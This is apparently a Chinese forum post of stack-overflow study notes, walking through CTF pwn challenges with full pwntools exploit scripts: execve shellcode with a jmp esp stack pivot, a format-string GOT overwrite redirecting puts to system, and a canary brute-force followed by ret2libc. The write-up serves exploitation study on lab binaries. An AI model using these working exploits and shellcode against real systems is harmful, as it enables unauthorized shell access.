-
-
[分享]栈溢出学习笔记
-
2017-12-21 15:31 6373
-
0x00 前言
希望得到各位的指教。一是做个总结,二是做个备份。说来惭愧,思路都是7o8v师傅给的。特别感谢7o8v师傅的帮助。
题外:复现蒸米师傅《一步一步学rop》复现失败,猜测是栈的问题,我是调用start恢复栈的做法。这是我看到更为详尽的分析http://www.purpleroc.com/md/2016-02-25@Thinking-About-Level2.html
0x01 pwn1
这题是7o8v师傅丢给我的。特别的就是这题是静态链接。所以,got覆写就gg了。我们看下反编译代码:
溢出很明显,checksec一下,堆栈可执行。
我就想ret到jmp esp这条指令上,然后在ret之后放置shellcode。结果,不够长,gg
7o8v师傅告诉我的思路(frame faking),ret到jmp esp指令上,这样就跳到栈上,再在栈上布置合适的sub esp,再jmp esp
我失败的思路是在寄存器上找合适或相近的数据,再修改一下寄存器,用jmp 寄存器。然后没有合适的gadget。后面我就想通过ret到printf泄露出栈地址,再ret到mian。这样就可以计算出栈地址。 因为输入长度限制,跪了,exp如下:
#!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * #--------------------Setting------------------------ EXCV = './fram_faking' context(log_level='debug') context.clear(arch='i386') e = ELF(EXCV) io = process(EXCV) #!c # execve ("/bin/sh") shellcode = "\x31\xc9"# xor ecx, ecx shellcode += "\xf7\xe1"# mul ecx shellcode += "\x51"# push ecx shellcode += "\x68\x2f\x2f\x73\x68"# push 0x68732f2f shellcode += "\x68\x2f\x62\x69\x6e"# push 0x6e69622f shellcode += "\x89\xe3"# mov ebx, esp shellcode += "\xb0\x0b"# mov al, 11 shellcode += "\xcd\x80"# int 0x80 jmp_addr = 0x080ac8ac #gdb.attach(io) io.recvuntil('me : ') payload = shellcode payload += 'A' * (44- len(shellcode)) payload += p32(jmp_addr) payload +='\x83\xec0'# sub esp, 0x30 payload += '\xff\xe4'# jmp esp io.sendline(payload) io.interactive()
0x02 pwn2
这题还是7o8v师傅丢给我的。首先用ida打开,发现有两个洞
惯例checksec一下,发现只开了NX,其实在function函数手动设置了canary
格式化字符串来做
栈上保留了read+35的地址,我们只要%p就可以得到read函数的地址,进而算出system的地址。
这道题目的格式化字符串不是放在栈上而是放在.bss段中。师傅告诉我要用一个跳板,栈上有指针什么是指向栈上的,我第一想到的就是ebp,反正不是打远程机。其实两个字节两个字节写入比较好。好吧,是因为懒。然后我就修改main的ebp使其指向puts函数的got表。使用%n修改got表使其指向sytem函数。这样下次跳用puts("/bin/sh")就变成了system("/bin/sh")。exp如下:
#!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * import sys import requests #--------------------Setting------------------------ EXCV = './pwn1_std' HOST = '172.16.20.2' PORT = 2111 context(log_level='debug') #ENV = env={"LD_PRELOAD":"./libc_64.so.6"} e = ELF(EXCV) LOCAL = 1 REMOTE = 0 if LOCAL: io = process(EXCV) #io = gdb.debug([EXCV]) libc = ELF('/lib/i386-linux-gnu/libc.so.6') if REMOTE: io = remote(HOST,PORT) libc = ELF('libc-2.23.so') #---------------------Data------------------------- puts_got_addr = 0x0804b028 sys_off = libc.symbols['system'] read_off = libc.symbols['read'] sys_read_off = sys_off - read_off #---------------------Code------------------------- # get system_addr io.recvuntil('>> ') io.sendline('1') io.recvuntil('>> ') io.sendline('1') payload = '%p' #get_read_addr io.sendline(payload) io.recvuntil('is :') read_addr = eval(io.recv(10)) - 35 system_addr = sys_read_off + read_addr print hex(system_addr) system_addr_low = system_addr % 0x10000 system_addr_high = system_addr /0x10000 % 0x100 # modify ebp to puts_got io.recvuntil('>> ') io.sendline('1') payload = '%'+str(puts_got_addr)+'c' payload += '%14$n' io.sendline(payload) # modify puts_got to system_addr_low io.recvuntil('>> ') io.sendline('1') payload = '%'+str(system_addr_low)+'c' payload += '%42$hn' io.sendline(payload) # modify puts_got to system_addr_low io.recvuntil('>> ') io.sendline('1') payload = '%'+str(0x2A)+'c' payload += '%14$hhn' io.sendline(payload) # modify puts_got to system_addr_high io.recvuntil('>> ') io.sendline('1') payload = '%'+str(system_addr_high)+'c' payload += '%42$hhn' io.sendline(payload) # put('/bin/sh\0') -> system('/bin/sh\0') io.recvuntil('>> ') io.sendline('1') io.sendline('/bin/sh\0') io.sendline('2') io.interactive()
栈溢出
这种做法是7o8v师傅告诉我的,真的是刷新了我对栈溢出的看法。首先爆破出canary的值。然后使用'\x00'使login Success。然后进入leavemsg输入一个'a',而这个'a'刚好覆盖了上面payload 开头的'\x00',实现了任意长度的strcpy。覆盖了function的返回地址。最后sendline('0')引爆这个炸弹。exp如下:
#!/usr/bin/python from pwn import * import sys import requests #--------------------Setting------------------------ EXCV = './pwn1_std' HOST = '172.16.20.2' PORT = 2111 context(log_level='debug') #ENV = env={"LD_PRELOAD":"./libc_64.so.6"} e = ELF(EXCV) LOCAL = 1 REMOTE = 0 if LOCAL: io = process(EXCV) #io = gdb.debug([EXCV]) libc = ELF('/lib/i386-linux-gnu/libc.so.6') if REMOTE: io = remote(HOST,PORT) libc = ELF('libc-2.23.so') #--------------------Function----------------------- def login(password): io.recvuntil('>> ') io.sendline('1') io.recvuntil('Your password :\n') io.send(password) def admin(): io.recvuntil('>> ') io.sendline('2') def crack(): random = "" for i in xrange(12): for x in xrange(1,256): if(x==10): x+=1 password = random + chr(x) login(password+'\x00') # raw_input() if("Failed" not in io.recvline()): print "success!" random += chr(x) io.sendline('1') break return random #---------------------Data------------------------- guest_begin = 0x8049014 write_plt = e.plt['write'] read_plt = e.plt['read'] puts_plt = e.plt['puts'] read_got = e.got['read'] read_off = libc.symbols['read'] bss = 0x804b100 main =0x8049296 sys_off = libc.symbols['system'] sh_off = next(libc.search("/bin/sh")) #---------------------Code------------------------- admin() random = crack() #gdb.attach(io) io.recvuntil('>> ') io.sendline('1') io.recvuntil('Your password :\n') payload = '\x00'+'a'*0x47+ random[8:12] +p32(bss+1)*3 payload += p32(puts_plt)+p32(main)+p32(read_got) io.sendline(payload) io.recvuntil('>> ') io.sendline('2') io.recvuntil('Your message :\n') io.send('a') # replace above payload's '\x00' io.recvuntil('>> ') io.sendline('0') io.recvuntil('Administrator !\n') libc_read = u32(io.recv(4)) libc_base = libc_read - read_off system = libc_base +sys_off sh = libc_base + sh_off libc_base admin() random = crack() io.recvuntil('>> ') io.sendline('1') io.recvuntil('Your password :\n') payload = '\x00'+'a'*0x47+ random[8:12] +p32(bss+1)*3 payload += p32(system) + p32(sh)*2 log.success('read addr : '+hex(libc_read)) log.success('libc base addr : '+hex(libc_base)) log.success('system : '+hex(system)) log.success('/bin/sh : '+hex(sh)) io.sendline(payload) io.recvuntil('>> ') io.sendline('2') io.recvuntil('Your message :\n') io.send('a') io.recvuntil('>> ') io.sendline('0') io.interactive()
0x03 总结
- 对知识点的理解不够深刻,花了一个月的时间尝试溢出scanf("%d"),尝试使用格式化字符串漏洞修改eip[笑哭]
- 从7o8v师傅的exp中了解到栈溢出并不是只在输入发生的
- 台上一分钟,台下十年功
0x04 参考资料
- http://bobao.360.cn/learning/detail/3654.html
- https://bbs.pediy.com/thread-213067.htm
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!